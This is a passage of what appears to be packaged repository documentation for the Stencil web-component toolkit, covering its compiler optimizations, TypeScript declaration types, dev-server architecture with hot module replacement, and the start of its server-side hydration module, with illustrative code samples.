Rollup:\n\n```typescript\nexport const stencilPlugin = (): Plugin => ({\n  name: 'stencil',\n  \n  resolveId(id) {\n    // Custom resolution logic\n  },\n  \n  load(id) {\n    // Load Stencil modules\n  },\n  \n  transform(code, id) {\n    // Transform component code\n  }\n});\n```\n\n### Custom Plugins\n\nUser-defined plugins:\n\n```typescript\n{\n  plugins: [\n    sass(),\n    myCustomPlugin({\n      transform(code, id) {\n        // Custom transformation\n        return code;\n      }\n    })\n  ]\n}\n```\n\n### Static Analysis\n\nDependency analysis:\n\n```typescript\ninterface ComponentGraph {\n  // component tag -> dependent tags\n  [tagName: string]: string[];\n}\n\n// Used for:\n// - Optimal loading order\n// - Bundle generation\n// - Tree shaking\n```\n\nAutomated documentation:\n\n```typescript\ninterface ComponentDoc {\n  tag: string;\n  description: string;\n  props: PropDoc[];\n  methods: MethodDoc[];\n  events: EventDoc[];\n  styles: StyleDoc[];\n}\n```\n\n### Prerendering\n\nStatic site generation at build time:\n\n```typescript\nconst prerenderConfig = {\n  entryUrls: ['/'],\n  hydrateOptions: {\n    timeout: 10000,\n    staticComponents: ['app-header', 'app-footer']\n  }\n};\n```\n\n### Service Worker Generation\n\nAutomatic PWA support:\n\n```typescript\nconst swConfig = {\n  swSrc: 'src/sw.js',\n  globPatterns: ['**/*.{js,css,html}']\n};\n```\n\n---\n\n## Optimization & Performance\n\n### Tree Shaking\n\nRemove unused code:\n\n```typescript\nconst treeShakeBundle = (\n  bundle: Bundle,\n  buildCtx: BuildCtx\n) => {\n  const used = new Set<string>();\n  \n  // Mark entry points as used\n  bundle.entryPoints.forEach(entry => {\n    markAsUsed(entry, used, bundle.graph);\n  });\n  \n  // Remove unused modules\n  bundle.modules = bundle.modules.filter(\n    module => used.has(module.id)\n  );\n};\n```\n\n### Minification\n\nProduction optimizations:\n\n```typescript\nconst minifyBundle = async (\n  code: string,\n  config: Config\n) => {\n  if (!config.minifyJs) {\n    return code;\n  }\n  \n  const result = await terser.minify(code, {\n    ecma: config.buildEs5 ? 5 : 2017,\n    module: true,\n    toplevel: true,\n    compress: {\n      passes: 2,\n      global_defs: {\n        'process.env.NODE_ENV': 'production'\n      }\n    },\n    mangle: {\n      properties: {\n        regex: /^__/  // Mangle private properties\n      }\n    }\n  });\n  \n  return result.code;\n};\n```\n\n### Code Splitting\n\nAutomatic chunking:\n\n```typescript\nconst createLazyChunks = (\n  components: ComponentCompilerMeta[],\n  buildCtx: BuildCtx\n) => {\n  const chunks = new Map<string, ComponentCompilerMeta[]>();\n  \n  components.forEach(cmp => {\n    // Group by dependencies\n    const chunkKey = getChunkKey(cmp, buildCtx.componentGraph);\n    \n    if (!chunks.has(chunkKey)) {\n      chunks.set(chunkKey, []);\n    }\n    \n    chunks.get(chunkKey).push(cmp);\n  });\n  \n  // Create optimal chunks\n  return optimizeChunks(chunks, {\n    maxSize: 50000,  // 50KB max chunk\n    minSize: 10000   // 10KB min chunk\n  });\n};\n```\n\n### Memory Management\n\nTo prevent out of memory errors, Stencil manages memory carefully:\n- Uses in-memory file system for fast builds\n- Caches compiled modules and styles\n- Reuses Rollup cache across builds\n- Minimizes TypeScript compilation time\n\n---\n\n## Debugging & Diagnostics\n\n### Debug Mode\n\nEnable detailed debugging with:\n\n```bash\nstencil build --debug --log\n```\n\nThis enables:\n- Component discovery details\n- Transform pipeline steps  \n- Bundle generation info\n- File write operations\n- Cache hit/miss ratios\n- Build timing for each phase\n\n### Build Analysis\n\n```typescript\n// Analyze build performance\nconst analyzeBuild = (buildCtx: BuildCtx) => {\n  console.log('Build Analysis:');\n  console.log(`  Duration: ${buildCtx.buildDuration}ms`);\n  console.log(`  Components: ${buildCtx.components.length}`);\n  console.log(`  Modules: ${buildCtx.moduleFiles.length}`);\n  console.log(`  Bundles: ${buildCtx.bundles.length}`);\n  console.log(`  Files Written: ${buildCtx.filesWritten}`);\n  \n  // Component graph\n  console.log('\\nComponent Dependencies:');\n  buildCtx.componentGraph.forEach((deps, component) => {\n    console.log(`  ${component}: ${deps.join(', ')}`);\n  });\n};\n```\n\n### Common Build Errors\n\n#### 1. TypeScript Compilation Errors\n\n**Error:** `Cannot find module '@stencil/core'`\n\n```typescript\n// Problem\nimport { Component } from '@stencil/core';  // Error: Cannot find module\n\n// Solution: Check your tsconfig.json\n{\n  \"compilerOptions\": {\n    \"moduleResolution\": \"node\",\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@stencil/core\": [\"node_modules/@stencil/core\"]\n    }\n  }\n}\n```\n\n#### 2. Component Metadata Errors\n\n**Error:** `Component tag must contain a hyphen`\n\n```typescript\n// Problem\n@Component({\n  tag: 'mycomponent'  // Error: needs hyphen\n})\n\n// Solution\n@Component({\n  tag: 'my-component'  // Valid: contains hyphen\n})\n```\n\n#### 3. Bundle Size Issues\n\nIf your bundles are too large:\n\n```mermaid\ngraph TD\n    Large[Large Bundle Size]\n    \n    Large --> Check1[Check Dependencies]\n    Check1 --> Tree[Tree Shaking Working?]\n    Check1 --> Imports[Check Import Paths]\n    \n    Large --> Check2[Analyze Bundle]\n    Check2 --> Visualize[Use Bundle Visualizer]\n    Check2 --> FindDups[Find Duplicates]\n    \n    Large --> Check3[Split Code]\n    Check3 --> Lazy[Use Lazy Loading]\n    Check3 --> Dynamic[Dynamic Imports]\n```\n\n### Performance Profiling\n\nMonitor build performance:\n\n```typescript\nconst stats = await compiler.build();\nconsole.log({\n  duration: stats.duration,\n  componentCount: stats.componentCount,\n  bundleSize: stats.bundleSize\n});\n```\n\n---\n\n## Development Guide\n\n### Testing Compiler Changes\n\n```bash\nnpm test src/compiler\n```\n\nIntegration tests:\n```typescript\ndescribe('compiler', () => {\n  it('should compile component', async () => {\n    const results = await compile({\n      srcDir: './test/fixtures'\n    });\n    \n    expect(results.hasError).toBe(false);\n    expect(results.components).toHaveLength(1);\n  });\n});\n```\n\n### Build Scripts\n\n```json\n{\n  \"scripts\": {\n    \"build\": \"node scripts/build.js\",\n    \"build.prod\": \"node scripts/build.js --prod\",\n    \"build.dev\": \"node scripts/build.js --dev\",\n    \"watch\": \"node scripts/build.js --watch\"\n  }\n}\n```\n\n### Custom Build Script\n\n```typescript\n// scripts/build.js\nconst { createNodeLogger, createNodeSys } = require('@stencil/core/compiler');\n\nasync function build() {\n  const logger = createNodeLogger();\n  const sys = createNodeSys();\n  \n  const validated = await loadConfig({\n    config: {\n      flags: parseArgs(process.argv.slice(2))\n    },\n    logger,\n    sys\n  });\n  \n  const compiler = await createCompiler(validated.config);\n  \n  if (validated.config.flags.watch) {\n    const watcher = await compiler.createWatcher();\n    process.on('SIGINT', () => watcher.close());\n  } else {\n    const results = await compiler.build();\n    await compiler.destroy();\n    \n    if (results.hasError) {\n      process.exit(1);\n    }\n  }\n}\n\nbuild().catch(console.error);\n```\n"
  },
  {
    "path": "docs/declarations.md",
    "content": "# Declarations Architecture\n\nThe Declarations module defines all TypeScript types and interfaces used throughout Stencil. It serves as the contract between different parts of the system and provides type safety for both internal and external APIs.\n\n**Location:** [`src/declarations/`](../src/declarations/)\n\n## Architecture Overview\n\n```mermaid\ngraph TD\n    subgraph \"Public API\"\n        Config[Config Types]\n        Components[Component Types]\n        JSX[JSX Types]\n        Testing[Testing Types]\n    end\n    \n    subgraph \"Internal API\"\n        Compiler[Compiler Types]\n        Runtime[Runtime Types]\n        Build[Build Types]\n        Utils[Utility Types]\n    end\n    \n    subgraph \"External Integration\"\n        TypeScript[TypeScript Integration]\n        Rollup[Rollup Plugin Types]\n        Node[Node.js Types]\n    end\n```\n\n## Core Type Categories\n\n### Configuration Types\n\n#### Config Interface\n\nThe main configuration interface for Stencil projects:\n\n**Location:** [`src/declarations/stencil-public-compiler.ts`](../src/declarations/stencil-public-compiler.ts)\n\nKey interfaces:\n- `Config` - Main configuration interface\n- `ValidatedConfig` - Post-validation configuration with all required fields\n- `DevServerConfig` - Dev server specific configuration\n- `TestingConfig` - Testing configuration options\n\nCommon usage patterns:\n```typescript\nimport type { Config } from '@stencil/core';\n\nexport const config: Config = {\n  // Configuration options\n};\n```\n\n### Component Types\n\n#### Component Decorators\n\nComponent metadata and decorator types:\n\n**Location:** [`src/declarations/stencil-public-runtime.ts`](../src/declarations/stencil-public-runtime.ts)\n\nKey interfaces:\n- `ComponentOptions` - Options for `@Component()` decorator\n- `PropOptions` - Options for `@Prop()` decorator\n- `StateOptions` - Options for `@State()` decorator\n- `MethodOptions` - Options for `@Method()` decorator\n- `EventOptions` - Options for `@Event()` decorator\n- `ListenOptions` - Options for `@Listen()` decorator\n- `WatchOptions` - Options for `@Watch()` decorator\n- `ElementOptions` - Options for `@Element()` decorator\n\n#### Component Interface\n\n**Location:** [`src/declarations/stencil-public-runtime.ts`](../src/declarations/stencil-public-runtime.ts)\n\n- `ComponentInterface` - Base interface all components implement\n- `ComponentWillLoad`, `ComponentDidLoad`, etc. - Lifecycle method interfaces\n\n### Runtime Types\n\nCore runtime type definitions:\n\n#### Host Reference\n\n**Location:** [`src/declarations/stencil-private.ts`](../src/declarations/stencil-private.ts)\n\n- `HostRef` - Component instance data structure\n- `HostElement` - Enhanced HTMLElement with Stencil properties\n\n#### Virtual DOM\n\n**Location:** [`src/declarations/vdom.ts`](../src/declarations/vdom.ts)\n\n- `VNode` - Virtual DOM node representation\n- `VNodeData` - Virtual node attributes and properties\n- `ChildType` - Valid child node types\n\n#### Component Runtime Metadata\n\n**Location:** [`src/declarations/stencil-private.ts`](../src/declarations/stencil-private.ts)\n\n- `ComponentRuntimeMeta` - Runtime component metadata\n- `ComponentRuntimeMembers` - Member definitions\n- `ComponentConstructor` - Component constructor type\n\n### Build Types\n\nBuild process type definitions:\n\n#### Build Context\n\n**Location:** [`src/declarations/stencil-private.ts`](../src/declarations/stencil-private.ts)\n\n- `BuildCtx` - Build state and results\n- `CompilerBuildResults` - Build output data\n- `BuildConditionals` - Feature flags\n\n#### Compiler Context\n\n**Location:** [`src/declarations/stencil-private.ts`](../src/declarations/stencil-private.ts)\n\n- `CompilerCtx` - Persistent compiler state\n- `CompilerWorkerContext` - Worker thread context\n- `ModuleMap` - Module tracking\n\n#### Module Types\n\n**Location:** [`src/declarations/stencil-private.ts`](../src/declarations/stencil-private.ts)\n\n- `Module` - Compiled module representation\n- `ComponentCompilerMeta` - Component metadata during compilation\n- `ComponentCompilerProperty` - Property metadata\n\n### Output Target Types\n\nDifferent output target configurations:\n\n**Location:** [`src/declarations/stencil-public-compiler.ts`](../src/declarations/stencil-public-compiler.ts)\n\n- `OutputTarget` - Base output target interface\n- `OutputTargetDist` - Distribution output (`type: 'dist'`)\n- `OutputTargetWww` - Web app output (`type: 'www'`)\n- `OutputTargetCustom` - Custom output (`type: 'custom'`)\n- `OutputTargetDistCustomElements` - Custom elements bundle\n- `OutputTargetHydrate` - SSR/hydrate app\n- `OutputTargetStats` - Build statistics\n\n### JSX Types\n\nJSX and element type definitions:\n\n**Location:** [`src/declarations/jsx.ts`](../src/declarations/jsx.ts)\n\n- `JSX.IntrinsicElements` - HTML element types\n- `JSX.Element` - JSX element type\n- `HTMLAttributes` - HTML attribute types\n- `DOMAttributes` - DOM event handlers\n\n**Additional JSX types:** [`src/declarations/stencil-public-runtime.ts`](../src/declarations/stencil-public-runtime.ts)\n- `LocalJSX` - Component-specific JSX namespace\n- `LibraryManagedAttributes` - Attribute management\n\n### System and Utility Types\n\n#### Compiler System\n\n**Location:** [`src/declarations/stencil-private.ts`](../src/declarations/stencil-private.ts)\n\n- `CompilerSystem` - File system abstraction\n- `Logger` - Logging interface\n- `Cache` - Build cache interface\n\n#### Diagnostics\n\n**Location:** [`src/declarations/stencil-public-compiler.ts`](../src/declarations/stencil-public-compiler.ts)\n\n- `Diagnostic` - Error/warning representation\n- `DiagnosticLevel` - Error severity levels\n- `DiagnosticMessageChain` - Chained diagnostic messages\n\n## Type Flags and Enums\n\n### Member Flags\n\n**Location:** [`src/utils/constants.ts`](../src/utils/constants.ts)\n\n- `MEMBER_FLAGS` - Bitwise flags for component members\n- `HOST_FLAGS` - Component instance state flags\n- `VNODE_FLAGS` - Virtual node type flags\n\n### Platform Features\n\n**Location:** [`src/utils/constants.ts`](../src/utils/constants.ts)\n\n- `PLATFORM_FLAGS` - Platform capability flags\n- `BUILD` - Build conditionals object\n\n## External Integration Types\n\n### TypeScript Integration\n\n**Location:** [`src/declarations/typescript.ts`](../src/declarations/typescript.ts)\n\n- TypeScript compiler API type imports\n- Custom TypeScript transformer types\n\n### Rollup Plugin Types\n\n**Location:** [`src/declarations/rollup.ts`](../src/declarations/rollup.ts)\n\n- Rollup plugin interfaces\n- Bundle configuration types\n\n### Node.js Types\n\n**Location:** Various declaration files import from `@types/node`\n\n- File system types\n- Process types\n- Module types\n\n## Testing Types\n\nTest framework type definitions:\n\n**Location:** [`src/declarations/testing.ts`](../src/declarations/testing.ts)\n\n- `SpecPage` - Unit test page interface\n- `E2EPage` - E2E test page interface\n- `E2EElement` - E2E element wrapper\n- `TestingConfig` - Test configuration\n- `JestConfig` - Jest configuration extensions\n\n## Type Guards and Utilities\n\nRuntime type checking utilities:\n\n**Location:** [`src/utils/output-target.ts`](../src/utils/output-target.ts)\n\n- `isOutputTargetDist()`\n- `isOutputTargetWww()`\n- `isOutputTargetCustom()`\n- `isOutputTargetHydrate()`\n\n**Location:** [`src/utils/helpers.ts`](../src/utils/helpers.ts)\n\n- Various type guard functions\n- Type assertion utilities\n\n## Best Practices\n\n### Using Declaration Types\n\n1. **Import Types Only**: Use `import type` for type-only imports\n2. **Avoid Circular Dependencies**: Be careful with type imports\n3. **Use Discriminated Unions**: For type safety with variants\n4. **Document Complex Types**: Add JSDoc comments\n5. **Prefer Interfaces**: Over type aliases for object shapes\n\n### Finding Type Definitions\n\n1. **Public API**: Start in [`src/declarations/stencil-public-*.ts`](../src/declarations/)\n2. **Internal API**: Look in [`src/declarations/stencil-private.ts`](../src/declarations/stencil-private.ts)\n3. **Component Types**: Check [`src/declarations/stencil-public-runtime.ts`](../src/declarations/stencil-public-runtime.ts)\n4. **Build Types**: See [`src/declarations/stencil-public-compiler.ts`](../src/declarations/stencil-public-compiler.ts)\n5. **Use IDE**: \"Go to Definition\" to find actual types\n\n### Type Evolution\n\nWhen working with types:\n\n1. **Check Usage**: Search for all usages before changing\n2. **Maintain Compatibility**: Consider existing code\n3. **Update Tests**: Ensure type tests still pass\n4. **Document Changes**: Note breaking changes in commits\n\n## Common Type Patterns\n\n### Configuration Validation\n\n```typescript\n// Raw config from user\nimport type { Config } from '@stencil/core';\n\n// Validated config after processing\nimport type { ValidatedConfig } from '../../declarations';\n```\n\n### Component Metadata\n\n```typescript\n// Build time metadata\nimport type { ComponentCompilerMeta } from '../../declarations';\n\n// Runtime metadata\nimport type { ComponentRuntimeMeta } from '../../declarations';\n```\n\n### Output Target Handling\n\n```typescript\nimport type { OutputTarget } from '@stencil/core';\nimport { isOutputTargetDist } from '@utils';\n\nif (isOutputTargetDist(outputTarget)) {\n  // TypeScript knows this is OutputTargetDist\n}\n```\n\n## Future Improvements\n\n1. **Better Type Inference**: Reduce need for explicit types\n2. **Template Literal Types**: For more precise string types\n3. **Stricter Types**: Remove more `any` usage\n4. **Type Generation**: Auto-generate from JSON schemas\n5. **Runtime Validation**: Generate validators from types "
  },
  {
    "path": "docs/dev-server.md",
    "content": "# Dev Server Architecture\n\nThe Stencil Dev Server provides a fast development experience with hot module replacement (HMR), automatic rebuilding, and browser synchronization. It runs as a separate process to ensure stability and performance.\n\n**Location:** [`src/dev-server/`](../src/dev-server/)\n\n## Architecture Overview\n\n```mermaid\ngraph TD\n    subgraph \"Main Process\"\n        CLI[CLI/Watch Task] --> Server[Server Controller]\n        Compiler[Compiler] --> Server\n    end\n    \n    subgraph \"Server Process\"\n        HTTP[HTTP Server] --> Static[Static Files]\n        WS[WebSocket Server] --> HMR[HMR Client]\n        Request[Request Handler] --> Middleware[Middleware Stack]\n    end\n    \n    subgraph \"Browser\"\n        Client[Dev Client] --> DOM[DOM Updates]\n        Client --> Console[Console Messages]\n        Client --> Overlay[Error Overlay]\n    end\n    \n    Server -.IPC.-> HTTP\n    Compiler -.Build Results.-> WS\n    WS -.WebSocket.-> Client\n```\n\n## Process Architecture\n\n### Multi-Process Design\n\nThe dev server runs in a separate Node.js process:\n\n```typescript\n// Main process\nconst serverProcess = fork(workerPath, [], {\n  execArgv: process.execArgv.filter(v => !/^--(debug|inspect)/.test(v)),\n  env: process.env,\n  cwd: process.cwd(),\n  stdio: ['pipe', 'pipe', 'pipe', 'ipc']\n});\n\n// Communication\nserverProcess.send({ startServer: config });\nserverProcess.on('message', handleServerMessage);\n```\n\n### IPC Communication\n\nMessages between processes:\n\n```typescript\ninterface DevServerMessage {\n  startServer?: DevServerConfig;\n  buildResults?: CompilerBuildResults;\n  compilerRequestResults?: CompilerRequestResults;\n  closeServer?: boolean;\n  error?: { message: string; stack?: string };\n}\n```\n\n## HTTP Server\n\n### Server Setup\n\n```typescript\nconst createHttpServer = (config: DevServerConfig) => {\n  const app = express();\n  \n  // Middleware stack\n  app.use(compression());\n  app.use(cors(config.cors));\n  app.use(bodyParser.json());\n  \n  // Request handling\n  app.use(createRequestHandler(config));\n  \n  // Static file serving\n  app.use(express.static(config.root, {\n    index: false,\n    setHeaders: setCacheHeaders\n  }));\n  \n  return app.listen(config.port, config.address);\n};\n```\n\n### Request Handler\n\nProcesses all incoming requests:\n\n```typescript\nconst createRequestHandler = (config) => async (req, res, next) => {\n  // Check for special routes\n  if (req.url === '/dev-server-client.js') {\n    return serveDevClient(req, res);\n  }\n  \n  if (req.url.includes('/__stencil_dev_server__')) {\n    return handleDevServerRequest(req, res);\n  }\n  \n  // Handle HTML requests\n  if (shouldServeIndexHtml(req)) {\n    return serveIndexHtml(req, res, config);\n  }\n  \n  // Pass to static file server\n  next();\n};\n```\n\n## WebSocket Server\n\n### WebSocket Setup\n\n```typescript\nconst createWebSocketServer = (httpServer) => {\n  const wss = new WebSocket.Server({ \n    server: httpServer,\n    perMessageDeflate: false\n  });\n  \n  wss.on('connection', (ws) => {\n    activeConnections.add(ws);\n    \n    ws.on('message', handleClientMessage);\n    ws.on('close', () => activeConnections.delete(ws));\n    \n    // Send initial state\n    ws.send(JSON.stringify({\n      type: 'initial',\n      buildResults: lastBuildResults\n    }));\n  });\n  \n  return wss;\n};\n```\n\n### HMR Protocol\n\nMessages sent to clients:\n\n```typescript\ninterface HMRMessage {\n  type: 'reload' | 'update' | 'error' | 'console';\n  \n  // For updates\n  updatedComponents?: string[];\n  updatedStyles?: string[];\n  updatedAssets?: string[];\n  \n  // For errors\n  error?: {\n    message: string;\n    stack: string;\n    file?: string;\n    line?: number;\n  };\n}\n```\n\n## Hot Module Replacement\n\n### Build Integration\n\nReceives build results from compiler:\n\n```typescript\nconst handleBuildResults = (results: BuildResults) => {\n  const hmrMessage = {\n    type: 'update',\n    updatedComponents: results.changedComponents,\n    updatedStyles: results.changedStyles,\n    buildId: results.buildId,\n    hmrTimestamp: Date.now()\n  };\n  \n  // Broadcast to all connected clients\n  broadcastMessage(hmrMessage);\n};\n```\n\n### Client-Side HMR\n\nDev client handles updates:\n\n```typescript\n// Injected into the page\nconst devClient = {\n  connect() {\n    const ws = new WebSocket(`ws://${location.host}`);\n    \n    ws.onmessage = (event) => {\n      const msg = JSON.parse(event.data);\n      \n      switch (msg.type) {\n        case 'reload':\n          location.reload();\n          break;\n          \n        case 'update':\n          this.applyUpdate(msg);\n          break;\n          \n        case 'error':\n          this.showError(msg.error);\n          break;\n      }\n    };\n  },\n  \n  applyUpdate(msg) {\n    // Update components without full reload\n    msg.updatedComponents.forEach(tag => {\n      document.querySelectorAll(tag).forEach(elm => {\n        elm.forceUpdate();\n      });\n    });\n    \n    // Hot swap styles\n    msg.updatedStyles.forEach(href => {\n      const link = document.querySelector(`link[href*=\"${href}\"]`);\n      if (link) {\n        link.href = href + '?t=' + msg.hmrTimestamp;\n      }\n    });\n  }\n};\n```\n\n## Middleware System\n\n### Built-in Middleware\n\n#### History API Fallback\n\nFor single-page apps:\n\n```typescript\nconst historyApiFallback = (config) => (req, res, next) => {\n  if (req.method === 'GET' && \n      req.accepts('html') && \n      !req.url.includes('.')) {\n    req.url = '/index.html';\n  }\n  next();\n};\n```\n\n#### Proxy Middleware\n\nProxy API requests:\n\n```typescript\nconst proxyMiddleware = (config) => {\n  return Object.entries(config.proxy).map(([path, target]) => {\n    return createProxyMiddleware(path, {\n      target,\n      changeOrigin: true,\n      logLevel: 'warn'\n    });\n  });\n};\n```\n\n#### Gzip Compression\n\n```typescript\napp.use(compression({\n  filter: (req, res) => {\n    if (req.headers['x-no-compression']) {\n      return false;\n    }\n    return compression.filter(req, res);\n  }\n}));\n```\n\n## Error Handling\n\n### Error Overlay\n\nShows compilation errors in browser:\n\n```typescript\nconst showErrorOverlay = (error) => {\n  const overlay = document.createElement('div');\n  overlay.className = 'dev-server-error-overlay';\n  \n  overlay.innerHTML = `\n    <div class=\"error-header\">\n      <h1>Compilation Error</h1>\n      <button onclick=\"this.parentElement.parentElement.remove()\">×</button>\n    </div>\n    <pre class=\"error-message\">${escapeHtml(error.message)}</pre>\n    ${error.stack ? `<pre class=\"error-stack\">${escapeHtml(error.stack)}</pre>` : ''}\n    ${error.file ? `<div class=\"error-file\">${error.file}:${error.line}:${error.column}</div>` : ''}\n  `;\n  \n  document.body.appendChild(overlay);\n};\n```\n\n### Console Forwarding\n\nCaptures and forwards console logs:\n\n```typescript\n// In dev client\n['log', 'warn', 'error', 'info'].forEach(method => {\n  const original = console[method];\n  console[method] = (...args) => {\n    original.apply(console, args);\n    \n    // Forward to dev server\n    ws.send(JSON.stringify({\n      type: 'console',\n      method,\n      args: args.map(arg => serialize(arg))\n    }));\n  };\n});\n```\n\n## Static File Serving\n\n### MIME Types\n\nCorrect content types:\n\n```typescript\nconst mimeTypes = {\n  '.js': 'application/javascript',\n  '.mjs': 'application/javascript',\n  '.css': 'text/css',\n  '.html': 'text/html',\n  '.json': 'application/json',\n  '.wasm': 'application/wasm',\n  '.svg': 'image/svg+xml',\n  // ... more types\n};\n\nconst getMimeType = (filePath) => {\n  const ext = path.extname(filePath);\n  return mimeTypes[ext] || 'application/octet-stream';\n};\n```\n\n### Cache Headers\n\nDevelopment-friendly caching:\n\n```typescript\nconst setCacheHeaders = (res, filePath) => {\n  if (filePath.includes('/build/')) {\n    // Immutable for build files\n    res.setHeader('Cache-Control', 'public, max-age=31536000, immutable');\n  } else {\n    // No cache for development\n    res.setHeader('Cache-Control', 'no-cache, no-store, must-revalidate');\n    res.setHeader('Pragma', 'no-cache');\n    res.setHeader('Expires', '0');\n  }\n};\n```\n\n## SSL Support\n\n### HTTPS Configuration\n\n```typescript\nconst createHttpsServer = async (config) => {\n  let credentials;\n  \n  if (config.https === true) {\n    // Generate self-signed certificate\n    credentials = await generateSelfSignedCert();\n  } else {\n    // Use provided certificates\n    credentials = {\n      key: fs.readFileSync(config.https.key),\n      cert: fs.readFileSync(config.https.cert)\n    };\n  }\n  \n  return https.createServer(credentials, app);\n};\n```\n\n## Open Browser\n\n### Browser Detection\n\n```typescript\nconst openBrowser = async (url: string) => {\n  const platform = process.platform;\n  \n  const commands = {\n    darwin: 'open',\n    win32: 'start',\n    linux: 'xdg-open'\n  };\n  \n  const command = commands[platform];\n  if (command) {\n    exec(`${command} ${url}`);\n  }\n};\n```\n\n## Configuration\n\n### Dev Server Config\n\n```typescript\ninterface DevServerConfig {\n  address: string;\n  basePath: string;\n  browserUrl: string;\n  cors: boolean;\n  gzip: boolean;\n  historyApiFallback: boolean;\n  https: boolean | { key: string; cert: string };\n  initialLoadUrl: string;\n  logRequests: boolean;\n  openBrowser: boolean;\n  port: number;\n  proxy?: { [path: string]: string };\n  reloadStrategy: 'hmr' | 'pageReload' | null;\n  root: string;\n}\n```\n\n### Default Configuration\n\n```typescript\nconst defaults: DevServerConfig = {\n  address: '0.0.0.0',\n  basePath: '/',\n  browserUrl: 'http://localhost:3333/',\n  cors: true,\n  gzip: true,\n  historyApiFallback: true,\n  https: false,\n  logRequests: false,\n  openBrowser: true,\n  port: 3333,\n  reloadStrategy: 'hmr',\n  root: 'www'\n};\n```\n\n## Performance\n\n### Request Optimization\n\n- Memory caching for frequently accessed files\n- Conditional GET support (ETags)\n- Gzip compression\n- HTTP/2 push support\n\n### WebSocket Optimization\n\n- Message batching\n- Compression for large payloads\n- Connection pooling\n- Heartbeat for connection health\n\n## Testing\n\n### Dev Server Tests\n\n```typescript\ndescribe('dev-server', () => {\n  let server: DevServer;\n  \n  beforeEach(async () => {\n    server = await start({\n      root: './test-www',\n      port: 0 // Random port\n    });\n  });\n  \n  afterEach(() => server.close());\n  \n  it('should serve static files', async () => {\n    const res = await fetch(`${server.browserUrl}/index.html`);\n    expect(res.status).toBe(200);\n    expect(res.headers.get('content-type')).toBe('text/html');\n  });\n  \n  it('should establish WebSocket connection', (done) => {\n    const ws = new WebSocket(server.browserUrl.replace('http', 'ws'));\n    ws.on('open', done);\n  });\n});\n```\n\n## Common Issues\n\n### Port Already in Use\n\n```typescript\nconst findAvailablePort = async (startPort: number) => {\n  let port = startPort;\n  \n  while (true) {\n    try {\n      await checkPort(port);\n      return port;\n    } catch (e) {\n      port++;\n      if (port > startPort + 100) {\n        throw new Error('No available ports found');\n      }\n    }\n  }\n};\n```\n\n### CORS Issues\n\nProper CORS handling:\n\n```typescript\napp.use((req, res, next) => {\n  res.header('Access-Control-Allow-Origin', '*');\n  res.header('Access-Control-Allow-Methods', 'GET, PUT, POST, DELETE, OPTIONS');\n  res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization, Content-Length, X-Requested-With');\n  \n  if (req.method === 'OPTIONS') {\n    res.sendStatus(200);\n  } else {\n    next();\n  }\n});\n```\n\n## Future Improvements\n\n1. **HTTP/2 Support**: Better performance\n2. **Service Worker**: Offline development\n3. **Module Federation**: Dev server federation\n4. **Better Error Recovery**: Graceful error handling\n5. **Plugin System**: Extensible middleware "
  },
  {
    "path": "docs/hydrate.md",
    "content": "# Hydrate Architecture\n\nThe Hydrate module enables server-side rendering (SSR) and static site generation (SSG) for Stencil components. It provides a Node.js environment for rendering components to HTML strings with hydration markers.\n\n**Location:** [`src/hydrate/`](../src/hydrate/)\n\n## Architecture Overview\n\n```mermaid\ngraph TD\n    subgraph \"Build Time\"\n        Compiler[Compiler] --> HydrateApp[Hydrate App Bundle]\n        Components[Components] --> HydrateApp\n    end\n    \n    subgraph \"Runtime\"\n        Node[Node.js Environment] --> Hydrate[Hydrate Runner]\n        Hydrate --> MockDoc[Mock Document]\n        Hydrate --> Components2[Component Instances]\n        Components2 --> HTML[HTML Output]\n    end\n    \n    subgraph \"Client\"\n        HTML --> Browser[Browser]\n        Browser --> Rehydrate[Client Hydration]\n        Rehydrate --> Interactive[Interactive Components]\n    end\n```\n\n## User-Facing API\n\n### Generating the Hydrate App\n\nUsers configure the hydrate output target in their `stencil.config.ts`:\n\n```typescript\nexport const config: Config = {\n  outputTargets: [\n    {\n      type: 'dist-hydrate-script',\n      dir: './hydrate',\n    },\n  ],\n};\n```\n\nThis generates a hydrate module that can be imported in Node.js:\n\n```typescript\nimport { \n  hydrateDocument, \n  renderToString, \n  streamToString,\n  createWindowFromHtml \n} from 'yourpackage/hydrate';\n```\n\n### Core User APIs\n\n#### hydrateDocument\nTakes a DOM document and returns hydrated HTML:\n\n```typescript\nimport { hydrateDocument, createWindowFromHtml } from 'yourpackage/hydrate';\n\nexport async function hydrateComponents(template: string) {\n  const win = createWindowFromHtml(template, Math.random().toString())\n  \n  const results = await hydrateDocument(win.document, {\n    url: 'https://example.com',\n    userAgent: 'Node.js',\n    cookie: 'session=abc123',\n    direction: 'ltr',\n    language: 'en',\n  });\n  \n  return results.html;\n}\n```\n\n#### renderToString\nTakes an HTML string and returns hydrated HTML:\n\n```typescript\nconst results = await renderToString(\n  `<my-component name=\"Test\"></my-component>`,\n  {\n    fullDocument: false,\n    prettyHtml: true,\n    serializeShadowRoot: 'declarative-shadow-dom',\n  }\n);\n\nconsole.log(results.html);\n```\n\n#### streamToString\nReturns a readable stream for progressive rendering:\n\n```typescript\nconst stream = streamToString(htmlString, {\n  serializeShadowRoot: 'scoped',\n  beforeHydrate: (doc) => {\n    // Modify document before hydration\n  }\n});\n\n// Use with Node.js response\nstream.pipe(response);\n```\n\n### SSR Approaches\n\nStencil provides two strategies for SSR integration:\n\n#### 1. Compiler Approach (Build-Time)\nUsed with `@stencil/ssr` package for Vite/Webpack:\n\n```typescript\n// vite.config.ts\nimport { stencilSSR } from '@stencil/ssr';\n\nexport default defineConfig({\n  plugins: [\n    stencilSSR({\n      module: import('component-library-react'),\n      from: 'component-library-react', \n      hydrateModule: import('component-library/hydrate'),\n      serializeShadowRoot: {\n        'scoped': ['my-button'],\n        default: 'declarative-shadow-dom',\n      },\n    }),\n  ],\n});\n```\n\n#### 2. Runtime Approach (Next.js Server Components)\nGenerates separate client and server components:\n\n```typescript\n// stencil.config.ts\nreactOutputTarget({\n  outDir: '../component-library-react/src',\n  hydrateModule: 'component-library/hydrate',\n  clientModule: 'component-library-react',\n});\n```\n\nUsage in Next.js:\n```typescript\n// Import server-optimized component\nimport { MyComponent } from 'component-library-react/next';\n\nexport default function Page() {\n  return <MyComponent prop={dynamicValue()} />;\n}\n```\n\n## Hydrate App Generation\n\n### Build Process\n\n**Location:** [`src/compiler/output-targets/dist-hydrate-script/`](../src/compiler/output-targets/dist-hydrate-script/)\n\nThe compiler generates a special hydrate app:\n\n```typescript\n// During build\nconst generateHydrateApp = async (\n  config: Config,\n  compilerCtx: CompilerCtx,\n  buildCtx: BuildCtx\n) => {\n  const 